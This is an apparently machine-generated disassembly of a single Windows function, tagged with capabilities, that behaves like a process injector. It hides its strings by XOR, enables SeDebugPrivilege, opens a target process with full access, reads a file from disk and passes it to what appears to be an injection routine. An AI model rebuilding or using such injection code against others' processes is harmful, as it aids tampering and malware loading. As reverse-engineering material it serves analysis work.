Function at 0x402b30
Capabilities:
Acquire debug privileges
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Execute command
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4058b8
mov eax, dword fs:[0]
push eax
sub esp, 0x198
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp ecx, 3
jne 0x402b80
mov ecx, dword [eax + 4]
mov dword [ebp - 0x138], ecx
mov ecx, dword [eax + 8]
call fcn.00402a70
mov edi, eax
jmp 0x402cd5
cmp ecx, 2
jne 0x403527
mov eax, dword [eax + 4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x24], 0x70c1031
mov dword [ebp - 0x20], 0x48141500
mov dword [ebp - 0x1c], 0x9060b27
mov dword [ebp - 0x18], 0x1006457
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xe
jb 0x402bd0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x15], 0
push eax
call fcn.00401050
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add esp, 4
mov eax, dword [esi]
push 0xa
mov ecx, dword [eax + 4]
add ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
lea edx, [ebp - 0x50]
push eax
mov ecx, esi
call fcn.00404900
add esp, 4
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
cmova esi, dword [ebp - 0x50]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c24
sub ecx, edx
mov edx, 2
lea eax, [ecx + 1]
xor ecx, ecx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404b8b
mov edx, esi
mov edi, eax
add esp, 4
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x402c50
mov ecx, esi
sub edx, eax
lea eax, [ecx + 1]
mov dword [ebp - 0x18], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402c61
sub ecx, dword [ebp - 0x18]
push edx
push esi
lea eax, [ecx + 1]
push eax
push edi
push 0
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
add esp, 0x14
mov ecx, edi
call fcn.00402a70
mov dword [ebp - 4], 0xffffffff
mov edi, eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x402cc3
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402cb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402cb9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404b7d
add esp, 8
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
test edi, edi
jne 0x402d37
movaps xmm0, xmmword [0x406400]
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x1007b14
call fcn.00402320
lea eax, [ebp - 0x28]
push eax
call fcn.00401050
add esp, 4
mov dword [ebp - 0x1c], 0x17160311
mov word [ebp - 0x18], di
xor ecx, ecx
mov byte [ebp - 0x16], 1
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x402d10
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
or eax, 0xffffffff
jmp 0x4035b1
movaps xmm0, xmmword [0x406660]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], pe_nt_image_headers32
nop word [eax + eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, 0x10
jb 0x402d50
lea eax, [ebp - 0x28]
mov byte [ebp - 0x17], 0
push edi
push eax
call fcn.00401050
add esp, 8
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0x7c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x78], xmm0
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x402dd7
lea eax, [ebp - 0x74]
mov dword [ebp - 0x78], 1
push eax
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x6c], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x402dd2
push 0
push 0
push 0
lea eax, [ebp - 0x78]
push eax
push 0
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x7c]
call esi
push edi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x402e69
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406430]
lea ecx, [ebp - 0x30]
mov esi, eax
mov dword [ebp - 0x20], 0x53481515
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0x2f530d44
mov word [ebp - 0x18], 0x72
mov byte [ebp - 0x16], 1
call fcn.00402620
lea eax, [ebp - 0x30]
push esi
push eax
call fcn.00401050
add esp, 8
mov dword [ebp - 0x1c], 0x37362331
mov word [ebp - 0x18], 0x20
xor ecx, ecx
mov byte [ebp - 0x16], 1
nop
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x402e40
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov eax, 0xfffffffe
jmp 0x4035b1
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x402eea
call dword [sym.imp.KERNEL32.dll_GetLastError]
movaps xmm0, xmmword [0x406520]
mov edx, eax
movups xmmword [ebp - 0x16c], xmm0
xor ecx, ecx
mov word [ebp - 0x13c], pe_nt_image_headers32
movaps xmm0, xmmword [0x406690]
movups xmmword [ebp - 0x15c], xmm0
movaps xmm0, xmmword [0x406670]
movups xmmword [ebp - 0x14c], xmm0
nop dword [eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x16c], al
inc ecx
cmp ecx, 0x30
jb 0x402ec0
push edx
lea eax, [ebp - 0x16c]
mov byte [ebp - 0x13b], 0
push eax
call fcn.00401050
add esp, 8
jmp 0x402f0e
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x18]
je 0x402f99
movaps xmm0, xmmword [0x406640]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x1c100030
mov dword [ebp - 0x20], 0x1b12021c
mov dword [ebp - 0x1c], 0x19090f0d
mov dword [ebp - 0x18], 0x1007453
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0x1e
jb 0x402f37
lea eax, [ebp - 0x34]
mov byte [ebp - 0x15], 0
push eax
call fcn.00401050
add esp, 4
push edi
call esi
mov dword [ebp - 0x1c], 0x37362331
xor ecx, ecx
mov word [ebp - 0x18], 0x20
mov byte [ebp - 0x16], 1
nop dword [eax + eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x402f70
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov eax, 0xfffffffd
jmp 0x4035b1
push dword [ebp - 0x138]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40302d
movaps xmm0, xmmword [0x406450]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x1d0b1751
mov dword [ebp - 0x18], 0x7d0206
mov byte [ebp - 0x14], 1
nop dword [eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0x17
jb 0x402fd0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x14], 0
push eax
call fcn.00401050
add esp, 4
push edi
call esi
mov dword [ebp - 0x1c], 0x37362331
xor ecx, ecx
mov word [ebp - 0x18], 0x20
mov byte [ebp - 0x16], 1
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x403004
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov eax, 0xfffffffc
jmp 0x4035b1
push 0xb8
lea eax, [ebp - 0x134]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push dword [ebp - 0x138]
lea ecx, [ebp - 0x134]
call fcn.00404190
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x128], 6
je 0x403128
movaps xmm0, xmmword [0x406470]
lea ecx, [ebp - 0x34]
mov esi, dword [ebp + eax - 0x128]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x1a131750
mov dword [ebp - 0x20], 0x4d121018
mov dword [ebp - 0x1c], 0x71225c58
mov word [ebp - 0x18], pe_nt_image_headers32
call fcn.004023e0
lea eax, [ebp - 0x34]
push esi
push eax
call fcn.00401050
add esp, 8
lea ecx, [ebp - 0x124]
call fcn.00404620
test eax, eax
jne 0x4030d8
push eax
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x134]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1c], 0x37362331
xor ecx, ecx
mov word [ebp - 0x18], 0x20
mov byte [ebp - 0x16], 1
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x4030f2
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x134]
mov esi, 0xfffffffb
call fcn.004035d0
mov eax, esi
jmp 0x4035b1
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x134]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov eax, dword [ebp - 0x60]
add eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x5c]
adc ecx, dword [ebp - 0x64]
test ecx, ecx
jg 0x4031f6
jl 0x403159
cmp eax, 0x1000
jae 0x4031f6
movaps xmm0, xmmword [0x4064b0]
lea ecx, [ebp - 0x28]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x1007b5e
call fcn.00402320
lea eax, [ebp - 0x28]
push eax
call fcn.00401050
add esp, 4
lea ecx, [ebp - 0x124]
call fcn.00404620
test eax, eax
jne 0x4031a6
push eax
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x134]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push edi
call esi
mov dword [ebp - 0x1c], 0x37362331
xor ecx, ecx
mov word [ebp - 0x18], 0x20
mov byte [ebp - 0x16], 1
nop dword [eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x4031c0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x134]
mov esi, 0xfffffffa
call fcn.004035d0
mov eax, esi
jmp 0x4035b1
push eax
mov dword [ebp - 0x18], ecx
call fcn.00404b8b
add esp, 4
mov dword [ebp - 0x138], eax
lea ecx, [ebp - 0x134]
push 0
push 0
push 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov edx, dword [ebp - 0x60]
add edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x5c]
adc ecx, dword [ebp - 0x64]
push ecx
push edx
push dword [ebp - 0x138]
lea ecx, [ebp - 0x134]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0x124]
call fcn.00404620
test eax, eax
jne 0x403261
push eax
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x134]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x20], 0x1413032c
xor ecx, ecx
mov dword [ebp - 0x1c], 0x4600080c
mov dword [ebp - 0x18], 0x614447
mov byte [ebp - 0x14], 1
nop dword [eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xb
jb 0x403280
lea eax, [ebp - 0x20]
mov byte [ebp - 0x14], 0
push eax
call fcn.00401050
mov ecx, dword [ebp - 0x60]
add ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x5c]
adc eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x138]
push 0
push 1
push 1
push 1
push 1
push 1
push ecx
mov ecx, edi
mov dword [ebp - 0x18], eax
call fcn.00401080
add esp, 0x20
push dword [ebp - 0x138]
test al, al
jne 0x403367
call fcn.00404b48
add esp, 4
push edi
call esi
movaps xmm0, xmmword [0x4063a0]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x5a141c18
mov word [ebp - 0x18], 0x7f
mov byte [ebp - 0x16], 1
nop
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0x15
jb 0x403300
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x16], 0
push eax
call fcn.00401050
add esp, 4
mov dword [ebp - 0x1c], 0x37362331
mov word [ebp - 0x18], 0x20
xor ecx, ecx
mov byte [ebp - 0x16], 1
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x403331
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x134]
mov esi, 0xfffffff8
call fcn.004035d0
mov eax, esi
jmp 0x4035b1
call fcn.00404b48
add esp, 4
push edi
call esi
mov dword [ebp - 0x18], 0x69292e
xor ecx, ecx
mov byte [ebp - 0x14], 1
nop
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 3
jb 0x403380
lea eax, [ebp - 0x18]
mov byte [ebp - 0x14], 0
push eax
call fcn.00401050
xor eax, eax
mov dword [ebp - 0x1a4], 0x4203422c
add esp, 4
mov dword [ebp - 0x1a0], 0x42014207
mov dword [ebp - 0x19c], 0x42244245
xor ecx, ecx
mov dword [ebp - 0x198], 0x4248421e
mov dword [ebp - 0x194], 0x4202423d
mov dword [ebp - 0x190], 0x4224420e
mov dword [ebp - 0x18c], 0x420d420c
mov dword [ebp - 0x188], 0x42154204
mov dword [ebp - 0x184], 0x425d4203
mov dword [ebp - 0x180], 0x421b423e
mov dword [ebp - 0x17c], 0x42554211
mov dword [ebp - 0x178], 0x424a4240
mov dword [ebp - 0x174], 0x424f4248
mov word [ebp - 0x170], ax
mov byte [ebp - 0x16e], 1
nop dword [eax]
nop word [eax + eax]
lea eax, [ecx + 0x4261]
xor word [ebp + ecx*2 - 0x1a4], ax
inc ecx
cmp ecx, 0x1a
jb 0x403440
mov byte [ebp - 0x16e], 0
xor ecx, ecx
mov dword [ebp - 0x16c], 0x420b4227
mov dword [ebp - 0x168], 0x4201420f
mov dword [ebp - 0x164], 0x422e4245
mov dword [ebp - 0x160], 0x421b4206
mov dword [ebp - 0x15c], 0x42284249
mov dword [ebp - 0x158], 0x4209420e
mov dword [ebp - 0x154], 0x424e4203
mov dword [ebp - 0x150], 0x421e4226
mov dword [ebp - 0x14c], 0x4217421b
mov dword [ebp - 0x148], 0x42004210
mov dword [ebp - 0x144], 0x42124210
mov dword [ebp - 0x140], 0x4256
mov byte [ebp - 0x13c], 1
nop dword [eax]
lea eax, [ecx + 0x4261]
xor word [ebp + ecx*2 - 0x16c], ax
inc ecx
cmp ecx, 0x17
jb 0x4034e0
push 0x30
lea eax, [ebp - 0x1a4]
mov byte [ebp - 0x13c], 0
push eax
lea eax, [ebp - 0x16c]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
lea ecx, [ebp - 0x134]
xor esi, esi
call fcn.004035d0
mov eax, esi
jmp 0x4035b1
movaps xmm0, xmmword [0x4063c0]
lea ecx, [ebp - 0x24]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 1
call fcn.00402440
lea eax, [ebp - 0x24]
push eax
call fcn.00401050
movaps xmm0, xmmword [0x406610]
lea ecx, [ebp - 0x34]
add esp, 4
mov byte [ebp - 0x14], 1
movups xmmword [ebp - 0x34], xmm0
movaps xmm0, xmmword [0x4063f0]
movups xmmword [ebp - 0x24], xmm0
call fcn.00402380
lea eax, [ebp - 0x34]
push eax
call fcn.00401050
add esp, 4
mov dword [ebp - 0x1c], 0x17160311
mov word [ebp - 0x18], 0
xor ecx, ecx
mov byte [ebp - 0x16], 1
nop dword [eax + eax]
mov al, cl
add al, 0x61
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x403590
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404b3a
mov esp, ebp
pop ebp
ret